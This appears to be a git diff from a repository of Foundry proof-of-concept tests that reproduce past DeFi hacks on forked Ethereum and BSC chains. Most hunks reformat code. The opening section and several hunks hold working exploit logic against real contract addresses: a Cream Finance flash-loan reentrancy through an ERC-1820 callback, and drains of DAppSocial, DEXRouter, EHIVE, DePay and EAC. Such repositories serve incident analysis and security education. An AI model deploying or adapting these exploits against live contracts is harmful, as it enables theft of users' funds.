WETH9 weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); + + crETH creth = crETH(0xD06527D5e56A3495252A528C4987003b712860eE); + + crAMP cramp = crAMP(0x2Db6c82CE72C8d7D770ba1b5F5Ed0b6E075066d6); + + Uni_Router_V2 unirouterv2 = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); + address constant UniswapV2Router02_address = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; + address constant crETH_Address = 0xD06527D5e56A3495252A528C4987003b712860eE; + + address public mywallet; + + address[] path = [0xfF20817765cB7f73d4bde2e66e067E58D11095C2, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2]; + CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); + + function setUp() public { + cheats.createSelectFork("mainnet", 13_125_070); // fork mainnet at block 13125070 + } + + function test() public { + payable(address(0)).transfer(address(this).balance); + ierc1820.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this)); + + mywallet = msg.sender; + uni.swap(0, 500 * 1e18, address(this), "0x00"); + emit log_named_uint("Exploit completed, WETH Balance", weth.balanceOf(mywallet)); + } + + function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external { + weth.withdraw(500 * 1e18); + creth.mint{value: 500 * 1e18}(); + creth.borrow(1 * 1e18); + cramp.accrueInterest(); + cramp.borrow(19_480_000_000_000_000_000_000_000); + weth.deposit{value: address(this).balance, gas: 40_000}(); + amp.approve(UniswapV2Router02_address, 19_480_000_000_000_000_000_000_000_000); + unirouterv2.swapExactTokensForTokens( + 19_480_000_000_000_000_000_000_000, 1, path, address(this), block.timestamp + ); + weth.transfer(uin_WTH9_Pair_Address, 502 * 1e18); + weth.transfer(mywallet, weth.balanceOf(address(this))); + } + + function tokensReceived( + bytes4 functionSig, + bytes32 partition, + address operator, + address from, + address to, + uint256 value, + bytes calldata data, + bytes calldata operatorData + ) external { + crETH(crETH_Address).borrow(354 * 1e18); + } + + receive() external payable {} +} diff --git a/src/test/Curve_exp01.sol b/src/test/Curve_exp01.sol index b3fe4400..0f0d727c 100644 --- a/src/test/Curve_exp01.sol +++ b/src/test/Curve_exp01.sol @@ -53,7 +53,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals() - ); + ); } function receiveFlashLoan( diff --git a/src/test/Curve_exp02.sol b/src/test/Curve_exp02.sol index e4263123..771d1b2e 100644 --- a/src/test/Curve_exp02.sol +++ b/src/test/Curve_exp02.sol @@ -67,7 +67,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals() - ); + ); } function receiveFlashLoan( diff --git a/src/test/DAppSocial_exp.sol b/src/test/DAppSocial_exp.sol index f35bc5d3..de3c8afd 100644 --- a/src/test/DAppSocial_exp.sol +++ b/src/test/DAppSocial_exp.sol @@ -19,29 +19,19 @@ interface IDAppSocial { function lockTokens(address altAccount, uint48 length) external; - function withdrawTokens( - address _tokenAddress, - uint256 _tokenAmount - ) external; - - function withdrawTokensWithAlt( - address tokenAddress, - address from, - uint256 amount - ) external; + function withdrawTokens(address _tokenAddress, uint256 _tokenAmount) external; + + function withdrawTokensWithAlt(address tokenAddress, address from, uint256 amount) external; } contract DAppTest is Test { - IUSDT private constant USDT = - IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7); - IERC20 private constant USDC = - IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); - IDAppSocial private constant DAppSocial = - IDAppSocial(0x319Ec3AD98CF8b12a8BE5719FeC6E0a9bb1ad0D1); + IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7); + IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); + IDAppSocial private constant DAppSocial = IDAppSocial(0x319Ec3AD98CF8b12a8BE5719FeC6E0a9bb1ad0D1); HelperExploitContract private helperExploitContract; function setUp() public { - vm.createSelectFork("mainnet", 18048982); + vm.createSelectFork("mainnet", 18_048_982); vm.label(address(USDT), "USDT"); vm.label(address(USDC), "USDC"); vm.label(address(DAppSocial), "DAppSocial"); @@ -54,16 +44,10 @@ contract DAppTest is Test { USDT.approve(address(DAppSocial), 2e6); USDC.approve(address(DAppSocial), 2e6); - emit log_named_decimal_uint( - "Attacker USDT balance before exploit", - USDT.balanceOf(address(this)), - 6 - ); + emit log_named_decimal_uint("Attacker USDT balance before exploit", USDT.balanceOf(address(this)), 6); emit log_named_decimal_uint( - "Attacker USDC balance before exploit", - USDC.balanceOf(address(this)), - USDC.decimals() + "Attacker USDC balance before exploit", USDC.balanceOf(address(this)), USDC.decimals() ); drainToken(address(USDT)); @@ -72,27 +56,17 @@ contract DAppTest is Test { // Destroy (selfdestruct) helper exploit contract after draining the tokens helperExploitContract.killMe(); - emit log_named_decimal_uint( - "Attacker USDT balance after exploit", - USDT.balanceOf(address(this)), - 6 - ); + emit log_named_decimal_uint("Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 6); emit log_named_decimal_uint( - "Attacker USDC balance after exploit", - USDC.balanceOf(address(this)), - USDC.decimals() + "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals() ); } function drainToken(address token) internal { DAppSocial.depositTokens(token, 2e6); helperExploitContract.exploit(token, false); - DAppSocial.withdrawTokensWithAlt( - token, - address(helperExploitContract), - 1e6 - ); + DAppSocial.withdrawTokensWithAlt(token, address(helperExploitContract), 1e6); helperExploitContract.exploit(token, true); } @@ -100,12 +74,9 @@ contract DAppTest is Test { } contract HelperExploitContract { - IUSDT private constant USDT = - IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7); - IERC20 private constant USDC = - IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); - IDAppSocial private constant DAppSocial = - IDAppSocial(0x319Ec3AD98CF8b12a8BE5719FeC6E0a9bb1ad0D1); + IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7); + IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); + IDAppSocial private constant DAppSocial = IDAppSocial(0x319Ec3AD98CF8b12a8BE5719FeC6E0a9bb1ad0D1); address payable private immutable owner; constructor() { @@ -117,16 +88,10 @@ contract HelperExploitContract { require(msg.sender == owner, "Only owner"); if (withdraw == true) { if (token == address(USDT)) { - DAppSocial.withdrawTokens( - address(token), - USDT.balanceOf(address(DAppSocial)) - ); + DAppSocial.withdrawTokens(address(token), USDT.balanceOf(address(DAppSocial))); USDT.transfer(owner, USDT.balanceOf(address(this))); } else { - DAppSocial.withdrawTokens( - address(token), - USDC.balanceOf(address(DAppSocial)) - ); + DAppSocial.withdrawTokens(address(token), USDC.balanceOf(address(DAppSocial))); USDC.transfer(owner, USDC.balanceOf(address(this))); } } else { diff --git a/src/test/DBW_exp.sol b/src/test/DBW_exp.sol index 65d17956..02268606 100644 --- a/src/test/DBW_exp.sol +++ b/src/test/DBW_exp.sol @@ -61,7 +61,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals() - ); + ); } function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { diff --git a/src/test/DDCoin_exp.sol b/src/test/DDCoin_exp.sol index 153ca4ec..e5876035 100644 --- a/src/test/DDCoin_exp.sol +++ b/src/test/DDCoin_exp.sol @@ -70,13 +70,13 @@ contract DDTest is Test { deal(address(BUSDT), address(this), 0); emit log_named_decimal_uint( "BUSDT attacker balance before exploit", BUSDT.balanceOf(address(this)), BUSDT.decimals() - ); + ); DPPOracle1.flashLoan(0, BUSDT.balanceOf(address(DPPOracle1)), address(this), new bytes(1)); emit log_named_decimal_uint( "BUSDT attacker balance after exploit", BUSDT.balanceOf(address(this)), BUSDT.decimals() - ); + ); } function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { diff --git a/src/test/DEXRouter_exp.sol b/src/test/DEXRouter_exp.sol index 15bcb45d..7e6ed894 100644 --- a/src/test/DEXRouter_exp.sol +++ b/src/test/DEXRouter_exp.sol @@ -14,57 +14,30 @@ import "./interface.sol"; // https://twitter.com/DecurityHQ/status/1707851321909428688 interface IDEXRouter { - function update( - address fcb, - address bnb, - address busd, - address router - ) external; + function update(address fcb, address bnb, address busd, address router) external; - function functionCallWithValue( - address target, - bytes memory data, - uint256 value - ) external; + function functionCallWithValue(address target, bytes memory data, uint256 value) external; } contract ContractTest is Test { // Victim unverified contract. Name "DEXRouter" taken from parameter name in "go" function in attack contract - IDEXRouter private constant DEXRouter = - IDEXRouter(0x1f7cF218B46e613D1BA54CaC11dC1b5368d94fb7); + IDEXRouter private constant DEXRouter = IDEXRouter(0x1f7cF218B46e613D1BA54CaC11dC1b5368d94fb7); function setUp() public { - vm.createSelectFork("bsc", 32161325); + vm.createSelectFork("bsc", 32_161_325); vm.label(address(DEXRouter), "DEXRouter"); } function testExploit() public { deal(address(this), 0 ether); - emit log_named_decimal_uint( - "Attacker BNB balance before exploit", - address(this).balance, - 18 - ); + emit log_named_decimal_uint("Attacker BNB balance before exploit", address(this).balance, 18); // DEXRouter will call back to function with selector "0xe44a73b7". Look at fallback function - DEXRouter.update( - address(this), - address(this), - address(this), - address(this) - ); + DEXRouter.update(address(this), address(this), address(this), address(this)); // Arbitrary external call vulnerability here. DEXRouter will call back "a" payable function and next transfer BNB to this contract - DEXRouter.functionCallWithValue( - address(this), - abi.encodePacked(this.a.selector), - address(DEXRouter).balance - ); + DEXRouter.functionCallWithValue(address(this), abi.encodePacked(this.a.selector), address(DEXRouter).balance); - emit log_named_decimal_uint( - "Attacker BNB balance after exploit", - address(this).balance, - 18 - ); + emit log_named_decimal_uint("Attacker BNB balance after exploit", address(this).balance, 18); } function a() external payable returns (bool) { diff --git a/src/test/DFS_exp.sol b/src/test/DFS_exp.sol index 671c2e9a..fa9058dc 100644 --- a/src/test/DFS_exp.sol +++ b/src/test/DFS_exp.sol @@ -50,7 +50,7 @@ contract Exploit is Test { function harvest() public { emit log_named_decimal_uint( "[INFO] usdt balance : DFS_USDT_LP", IERC20(usdt).balanceOf(address(DFS_USDT_LP)), 18 - ); + ); borrowamount = IERC20(usdt).balanceOf(address(DFS_USDT_LP)); USDT_CCDS_LP.swap(borrowamount, 0, address(this), "0"); emit log_named_decimal_uint("[INFO] usdt balance : this", IERC20(usdt).balanceOf(address(this)), 18); @@ -85,10 +85,10 @@ contract Exploit is Test { emit log_named_decimal_uint( "[INFO] address(this) balance (dfs token)", IERC20(dfs).balanceOf(address(this)), 18 - ); + ); emit log_named_decimal_uint( "[INFO] address(this) balance (usdt token)", IERC20(usdt).balanceOf(address(this)), 18 - ); + ); //todo uint256 dfslpusdtamount = IERC20(usdt).balanceOf(address(DFS_USDT_LP)); diff --git a/src/test/DKP_exp.sol b/src/test/DKP_exp.sol index e4d1e56a..82cca418 100644 --- a/src/test/DKP_exp.sol +++ b/src/test/DKP_exp.sol @@ -43,7 +43,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker USDT balance after exploit", USDT.balanceOf(address(this)) - 800 * 1e18, USDT.decimals() - ); + ); } function exchangeDKP() internal { diff --git a/src/test/DYNA_exp.sol b/src/test/DYNA_exp.sol index 0ef01241..6a2f8fff 100644 --- a/src/test/DYNA_exp.sol +++ b/src/test/DYNA_exp.sol @@ -18,7 +18,7 @@ interface IStakingDYNA { interface IDYNA is IERC20 { function _setMaxSoldAmount(uint256 maxvalue) external; - function _maxSoldAmount() external view returns(uint256); + function _maxSoldAmount() external view returns (uint256); } contract StakingReward { @@ -28,7 +28,7 @@ contract StakingReward { constructor(address owner) { Owner = owner; - DYNA.approve(address(StakingDYNA), type(uint).max); + DYNA.approve(address(StakingDYNA), type(uint256).max); } function deposit(uint256 amount) external { @@ -55,7 +55,7 @@ contract ContractTest is Test { CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { - cheats.createSelectFork("bsc", 25879486); + cheats.createSelectFork("bsc", 25_879_486); cheats.label(address(DYNA), "DYNA"); cheats.label(address(WBNB), "WBNB"); cheats.label(address(Router), "Router"); @@ -66,11 +66,15 @@ contract ContractTest is Test { function testExploit() external { StakingRewardFactory(); DYNA.transfer(address(Pair), 1); // - DYNA.transfer(tx.origin, 1e17); // - cheats.startPrank(tx.origin); // Bypass Sold Amount Limit + DYNA.transfer(tx.origin, 1e17); + // + cheats.startPrank(tx.origin); + // Bypass Sold Amount Limit DYNA.transfer(address(Pair), 1); // - cheats.stopPrank(); // - cheats.warp(block.timestamp + 7 * 24 * 60 * 60); // deposit a week ago + cheats.stopPrank(); + // + cheats.warp(block.timestamp + 7 * 24 * 60 * 60); + // deposit a week ago flashLoanAmount = DYNA.balanceOf(address(Pair)) - 3; Pair.swap(flashLoanAmount, 0, address(this), new bytes(1)); DYNAToWBNB(); @@ -81,7 +85,7 @@ contract ContractTest is Test { function StakingRewardFactory() internal { deal(address(DYNA), address(this), 1001 * 1e18); uint256 preStakingRewardAmount = 1000 * 1e18 / 200; - for(uint256 i; i < 200; ++i){ + for (uint256 i; i < 200; ++i) { stakingReward = new StakingReward(address(this)); DYNA.transfer(address(stakingReward), preStakingRewardAmount); stakingReward.deposit(preStakingRewardAmount); @@ -91,13 +95,13 @@ contract ContractTest is Test { function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external { uint256 listLength = StakingRewardList.length; - for(uint i; i < listLength; ++i){ + for (uint256 i; i < listLength; ++i) { uint256 amount = DYNA.balanceOf(address(this)); DYNA.transfer(address(StakingRewardList[i]), amount); StakingRewardList[i].deposit(amount); StakingRewardList[i].withdraw(amount); } - DYNA.transfer(address(Pair), flashLoanAmount * 100000 / 9975 / 9 + 1000); + DYNA.transfer(address(Pair), flashLoanAmount * 100_000 / 9975 / 9 + 1000); } function DYNAToWBNB() internal { @@ -112,5 +116,4 @@ contract ContractTest is Test { ); cheats.stopPrank(); } - -} \ No newline at end of file +} diff --git a/src/test/DePayRouter_exp.sol b/src/test/DePayRouter_exp.sol index a559d4c0..63eca0b6 100644 --- a/src/test/DePayRouter_exp.sol +++ b/src/test/DePayRouter_exp.sol @@ -10,38 +10,37 @@ import "./interface.sol"; // Vulnerable Contract : https://etherscan.io/address/0xae60ac8e69414c2dc362d0e6a03af643d1d85b92 // Attack Tx : https://etherscan.io/tx/0x9a036058afb58169bfa91a826f5fcf4c0a376e650960669361d61bef99205f35 - // @Analysis // Post-mortem : https://www.google.com/ // Twitter Guy : https://twitter.com/CertiKAlert/status/1709764146324009268 // Hacking God : https://www.google.com/ -interface IDepayRouterV1{ +interface IDepayRouterV1 { function route( - // The path of the token conversion. - address[] calldata path, - // Amounts passed to proccessors: - // e.g. [amountIn, amountOut, deadline] - uint[] calldata amounts, - // Addresses passed to plugins: - // e.g. [receiver] - address[] calldata addresses, - // List and order of plugins to be executed for this payment: - // e.g. [Uniswap,paymentPlugin] to swap and pay - address[] calldata plugins, - // Data passed to plugins: - // e.g. ["signatureOfSmartContractFunction(address,uint)"] receiving the payment - string[] calldata data - ) external payable returns(bool); + // The path of the token conversion. + address[] calldata path, + // Amounts passed to proccessors: + // e.g. [amountIn, amountOut, deadline] + uint256[] calldata amounts, + // Addresses passed to plugins: + // e.g. [receiver] + address[] calldata addresses, + // List and order of plugins to be executed for this payment: + // e.g. [Uniswap,paymentPlugin] to swap and pay + address[] calldata plugins, + // Data passed to plugins: + // e.g. ["signatureOfSmartContractFunction(address,uint)"] receiving the payment + string[] calldata data + ) external payable returns (bool); } -contract ContractTest is Test{ +contract ContractTest is Test { IUSDC USDC = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); IUniswapV2Pair UNIV2 = IUniswapV2Pair(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc); IUniswapV2Router UniRouter = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)); IDepayRouterV1 DepayRouter = IDepayRouterV1(0xae60aC8e69414C2Dc362D0e6a03af643d1D85b92); IUniswapV2Factory UniFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); - uint amount = 1_755_923_836; + uint256 amount = 1_755_923_836; address DePayUniV1 = 0xe04b08Dfc6CaA0F4Ec523a3Ae283Ece7efE00019; function conAddress(address address1, address address2) public pure returns (bytes memory) { @@ -54,7 +53,7 @@ contract ContractTest is Test{ } function setUp() public { - vm.createSelectFork("mainnet", 18281130 - 1); + vm.createSelectFork("mainnet", 18_281_130 - 1); vm.label(address(USDC), "USDC"); vm.label(address(UNIV2), "UNIV2: USDC"); vm.label(address(UniRouter), "UniRouter"); @@ -64,21 +63,23 @@ contract ContractTest is Test{ } function testExploit() external { - uint startUSDC = USDC.balanceOf(address(this)); + uint256 startUSDC = USDC.balanceOf(address(this)); console.log("Before Start: %d USDC", startUSDC); UNIV2.swap(amount, 0, address(this), conAddress(address(USDC), address(DepayRouter))); - uint intExp = USDC.balanceOf(address(this))/1e6 ; - uint decExp = USDC.balanceOf(address(this)) - intExp * 1e6; + uint256 intExp = USDC.balanceOf(address(this)) / 1e6; + uint256 decExp = USDC.balanceOf(address(this)) - intExp * 1e6; console.log("Attack Exploit: %s.%s USDC", intExp, decExp); } - function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external{ - uint amountAMin = 877_961_918; + function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external { + uint256 amountAMin = 877_961_918; ERC20ops(); - uint256 amountA; uint256 amountB; uint256 liquidity; - (amountA, amountB, liquidity) = UniRouter.addLiquidity(sender, address(USDC), 1e30, 1, amountAMin, 1, - address(this), type(uint256).max); + uint256 amountA; + uint256 amountB; + uint256 liquidity; + (amountA, amountB, liquidity) = + UniRouter.addLiquidity(sender, address(USDC), 1e30, 1, amountAMin, 1, address(this), type(uint256).max); IUniswapV2Pair newUniPair = IUniswapV2Pair(UniFactory.getPair(address(this), address(USDC))); address[] memory path = new address[](2); @@ -95,7 +96,7 @@ contract ContractTest is Test{ newUniPair.approve(address(UniRouter), liquidity); UniRouter.removeLiquidity(address(this), address(USDC), liquidity, 1, 1, address(this), type(uint256).max); - USDC.transfer(address(UNIV2), amount*1001/997); + USDC.transfer(address(UNIV2), amount * 1001 / 997); } function approveAll() internal { @@ -103,11 +104,12 @@ contract ContractTest is Test{ USDC.approve(address(DepayRouter), type(uint256).max); } - function ERC20ops() internal{ + function ERC20ops() internal { balances[address(this)] = 1e30 + 1; } mapping(address => uint256) public balances; + function balanceOf(address account) public view virtual returns (uint256) { return balances[account]; } @@ -116,6 +118,7 @@ contract ContractTest is Test{ _transfer(msg.sender, to, value); return true; } + function transferFrom(address from, address to, uint256 value) public virtual returns (bool) { _transfer(from, to, value); return true; @@ -125,5 +128,4 @@ contract ContractTest is Test{ balances[from] -= value; balances[to] += value; } - } diff --git a/src/test/Discover_exp.sol b/src/test/Discover_exp.sol index 4bd6056d..0418ce13 100644 --- a/src/test/Discover_exp.sol +++ b/src/test/Discover_exp.sol @@ -37,7 +37,7 @@ contract ContractTest is DSTest { emit log_named_uint( "After Exploit, discover balance of attacker:", discover.balanceOf(0xAb21300fA507Ab30D50c3A5D1Cad617c19E83930) - ); + ); } receive() external payable {} diff --git a/src/test/EAC_exp.sol b/src/test/EAC_exp.sol index 03ccfae9..68fdd0fc 100644 --- a/src/test/EAC_exp.sol +++ b/src/test/EAC_exp.sol @@ -15,16 +15,15 @@ import "./interface.sol"; // Hacking God : https://www.google.com/ contract ContractTest is Test { + address private constant usdt = 0x55d398326f99059fF775485246999027B3197955; + address private constant pancakeRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E; + address private constant dodo_pool = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618; - address constant private usdt = 0x55d398326f99059fF775485246999027B3197955; - address constant private pancakeRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E; - address constant private dodo_pool = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618; + address private constant proxy = 0xa08a40e0F11090Dcb09967973DF82040bFf63561; + address private constant eac = 0x64f291DE10eCd36D5f7b64aaEbC70943CFACE28E; - address constant private proxy = 0xa08a40e0F11090Dcb09967973DF82040bFf63561; - address constant private eac = 0x64f291DE10eCd36D5f7b64aaEbC70943CFACE28E; - function setUp() public { - vm.createSelectFork("bsc",31273019 - 1); + vm.createSelectFork("bsc", 31_273_019 - 1); vm.label(usdt, "USDT"); vm.label(eac, "EAC"); vm.label(pancakeRouterV2, "PANCAKE_ROUTER_V2"); @@ -32,15 +31,15 @@ contract ContractTest is Test { } function testExploit() public { - IDPPOracle(dodo_pool).flashLoan(0, 300000000000000008388608, address(this), new bytes(1)); + IDPPOracle(dodo_pool).flashLoan(0, 300_000_000_000_000_008_388_608, address(this), new bytes(1)); } - function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external{ + function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { swap(usdt, eac, IERC20(usdt).balanceOf(address(this))); proxy.call(abi.encodeWithSelector(0xe6a24c3f, IERC20(usdt).balanceOf(proxy))); swap(eac, usdt, IERC20(eac).balanceOf(address(this))); // pay back - IERC20(usdt).transfer(msg.sender, 300000000000000008388608); + IERC20(usdt).transfer(msg.sender, 300_000_000_000_000_008_388_608); emit log_named_decimal_uint("Attacker USDT balance after exploit", IERC20(usdt).balanceOf(address(this)), 18); } @@ -49,6 +48,8 @@ contract ContractTest is Test { address[] memory path = new address[](2); path[0] = tokenIn; path[1] = tokenOut; - IUniswapV2Router(payable(pancakeRouterV2)).swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, 0, path, address(this), block.timestamp + 1000); + IUniswapV2Router(payable(pancakeRouterV2)).swapExactTokensForTokensSupportingFeeOnTransferTokens( + amountIn, 0, path, address(this), block.timestamp + 1000 + ); } -} \ No newline at end of file +} diff --git a/src/test/EGD-Finance.exp.sol b/src/test/EGD-Finance.exp.sol index d9377273..8856f74c 100644 --- a/src/test/EGD-Finance.exp.sol +++ b/src/test/EGD-Finance.exp.sol @@ -52,10 +52,10 @@ contract Attacker is Test { emit log_named_decimal_uint("[Start] Attacker USDT Balance", IERC20(usdt).balanceOf(address(this)), 18); emit log_named_decimal_uint( "[INFO] EGD/USDT Price before price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18 - ); + ); emit log_named_decimal_uint( "[INFO] Current earned reward (EGD token)", IEGD_Finance(EGD_Finance).calculateAll(address(exploit)), 18 - ); + ); console.log("Attacker manipulating price oracle of EGD Finance..."); exploit.harvest(); @@ -113,7 +113,7 @@ contract Exploit is Test { console.log("Flashloan[2] received"); emit log_named_decimal_uint( "[INFO] EGD/USDT Price after price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18 - ); + ); // ----------------------------------------------------------------- console.log("Claim all EGD Token reward from EGD Finance contract"); IEGD_Finance(EGD_Finance).claimAllReward(); diff --git a/src/test/EHIVE_exp.sol b/src/test/EHIVE_exp.sol index 191cbe1c..75c93ab8 100644 --- a/src/test/EHIVE_exp.sol +++ b/src/test/EHIVE_exp.sol @@ -13,8 +13,8 @@ import "./interface.sol"; // @Analysis // https://twitter.com/bulu4477/status/1693636187485872583 -// In the EHIVE contract, the function stake() incorrectly updates the 'staked' value before calculating 'earned' -// As a result, an attacker only needs to initially stake 0 value of EHIVE, wait for a period of time, +// In the EHIVE contract, the function stake() incorrectly updates the 'staked' value before calculating 'earned' +// As a result, an attacker only needs to initially stake 0 value of EHIVE, wait for a period of time, // and then stake a certain amount of EHIVE to earn a large amount of EHIVE. Subsequently, they can unstake and sell it for profit // @Vulnerability code // //Check user is registered as staker @@ -39,19 +39,15 @@ interface IUnstake { } contract EHIVETest is Test { - IERC20 private constant WETH = - IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); - IEHIVE private constant EHIVE = - IEHIVE(0x4Ae2Cd1F5B8806a973953B76f9Ce6d5FAB9cdcfd); - IAaveFlashloan private constant AaveFlashloan = - IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2); - IUniswapV2Pair private constant EHIVE_WETH = - IUniswapV2Pair(0xAE851769593AC6048D36BC123700649827659A82); + IERC20 private constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); + IEHIVE private constant EHIVE = IEHIVE(0x4Ae2Cd1F5B8806a973953B76f9Ce6d5FAB9cdcfd); + IAaveFlashloan private constant AaveFlashloan = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2); + IUniswapV2Pair private constant EHIVE_WETH = IUniswapV2Pair(0xAE851769593AC6048D36BC123700649827659A82); address[28] public contractList; function setUp() public { // Start from the block when exploit contracts were deployed - vm.createSelectFork("mainnet", 17690497); + vm.createSelectFork("mainnet", 17_690_497); vm.label(address(WETH), "WETH"); vm.label(address(EHIVE), "EHIVE"); vm.label(address(AaveFlashloan), "AaveFlashloan"); @@ -69,22 +65,12 @@ contract EHIVETest is Test { // Jump to the time when attack was happen vm.warp(block.timestamp + 38 days); emit log_named_decimal_uint( - "Attacker WETH balance before attack", - WETH.balanceOf(address(this)), - WETH.decimals() + "Attacker WETH balance before attack", WETH.balanceOf(address(this)), WETH.decimals() ); WETH.approve(address(AaveFlashloan), type(uint256).max); - AaveFlashloan.flashLoanSimple( - address(this), - address(WETH), - 18e18, - new bytes(1), - 0 - ); + AaveFlashloan.flashLoanSimple(address(this), address(WETH), 18e18, new bytes(1), 0); emit log_named_decimal_uint( - "Attacker WETH balance after attack", - WETH.balanceOf(address(this)), - WETH.decimals() + "Attacker WETH balance after attack", WETH.balanceOf(address(this)), WETH.decimals() ); } @@ -108,35 +94,21 @@ contract EHIVETest is Test { } function WETHToEHIVE() internal { - (uint112 reserveEHIVE, uint112 reserveWETH, ) = EHIVE_WETH - .getReserves(); - uint256 amount0Out = calcAmount( - reserveEHIVE, - reserveWETH, - WETH.balanceOf(address(this)) - ); + (uint112 reserveEHIVE, uint112 reserveWETH,) = EHIVE_WETH.getReserves(); + uint256 amount0Out = calcAmount(reserveEHIVE, reserveWETH, WETH.balanceOf(address(this))); WETH.transfer(address(EHIVE_WETH), WETH.balanceOf(address(this))); EHIVE_WETH.swap(amount0Out, 0, address(this), bytes("")); } function EHIVEToWETH() internal { - (uint112 reserveEHIVE, uint112 reserveWETH, ) = EHIVE_WETH - .getReserves(); + (uint112 reserveEHIVE, uint112 reserveWETH,) = EHIVE_WETH.getReserves(); EHIVE.transfer(address(EHIVE_WETH), EHIVE.balanceOf(address(this))); - uint256 amount1Out = calcAmount( - reserveWETH, - reserveEHIVE, - EHIVE.balanceOf(address(EHIVE_WETH)) - reserveEHIVE - ); + uint256 amount1Out = calcAmount(reserveWETH, reserveEHIVE, EHIVE.balanceOf(address(EHIVE_WETH)) - reserveEHIVE); EHIVE_WETH.swap(0, amount1Out - 100, address(this), bytes("")); } - function calcAmount( - uint256 reserve1, - uint256 reserve2, - uint256 balance - ) internal returns (uint256) { + function calcAmount(uint256 reserve1, uint256 reserve2, uint256 balance) internal returns (uint256) { uint256 a = (balance * 997); uint256 b = a * reserve1; uint256 c = (reserve2 * 1000) + a; @@ -145,8 +117,7 @@ contract EHIVETest is Test { } contract UnstakeContract is Test { - IEHIVE private constant EHIVE = - IEHIVE(0x4Ae2Cd1F5B8806a973953B76f9Ce6d5FAB9cdcfd); + IEHIVE private constant EHIVE = IEHIVE(0x4Ae2Cd1F5B8806a973953B76f9Ce6d5FAB9cdcfd); function stake(uint256 amount) external { EHIVE.stake(amount, 0); diff --git a/src/test/ERC20TokenBank_exp.sol b/src/test/ERC20TokenBank_exp.sol index 52ff70d4..5c1b501e 100644 --- a/src/test/ERC20TokenBank_exp.sol +++ b/src/test/ERC20TokenBank_exp.sol @@ -19,7 +19,7 @@ import "./interface.sol"; // Hacking God : https://www.google.com/ interface IExchangeBetweenPools { - function doExchange(uint256 amounts) external returns(bool); + function doExchange(uint256 amounts) external returns (bool); } contract ContractTest is Test { @@ -28,12 +28,12 @@ contract ContractTest is Test { IExchangeBetweenPools ExchangeBetweenPools = IExchangeBetweenPools(0x765b8d7Cd8FF304f796f4B6fb1BCf78698333f6D); IcurveYSwap curveYSwap = IcurveYSwap(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51); Uni_Pair_V3 Pair = Uni_Pair_V3(0x5777d92f208679DB4b9778590Fa3CAB3aC9e2168); - uint256 victimAmount = 119023523157; + uint256 victimAmount = 119_023_523_157; CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { - cheats.createSelectFork("mainnet", 17376906); + cheats.createSelectFork("mainnet", 17_376_906); cheats.label(address(USDC), "USDC"); cheats.label(address(USDT), "USDT"); cheats.label(address(ExchangeBetweenPools), "ExchangeBetweenPools"); @@ -41,7 +41,7 @@ contract ContractTest is Test { } function testExploit() external { - USDC.approve(address(curveYSwap), type(uint).max); + USDC.approve(address(curveYSwap), type(uint256).max); address(USDT).call(abi.encodeWithSignature("approve(address,uint256)", address(curveYSwap), type(uint256).max)); Pair.flash(address(this), 0, 120_000 * 1e6, new bytes(1)); @@ -56,6 +56,4 @@ contract ContractTest is Test { curveYSwap.exchange_underlying(2, 1, USDT.balanceOf(address(this)), 0); 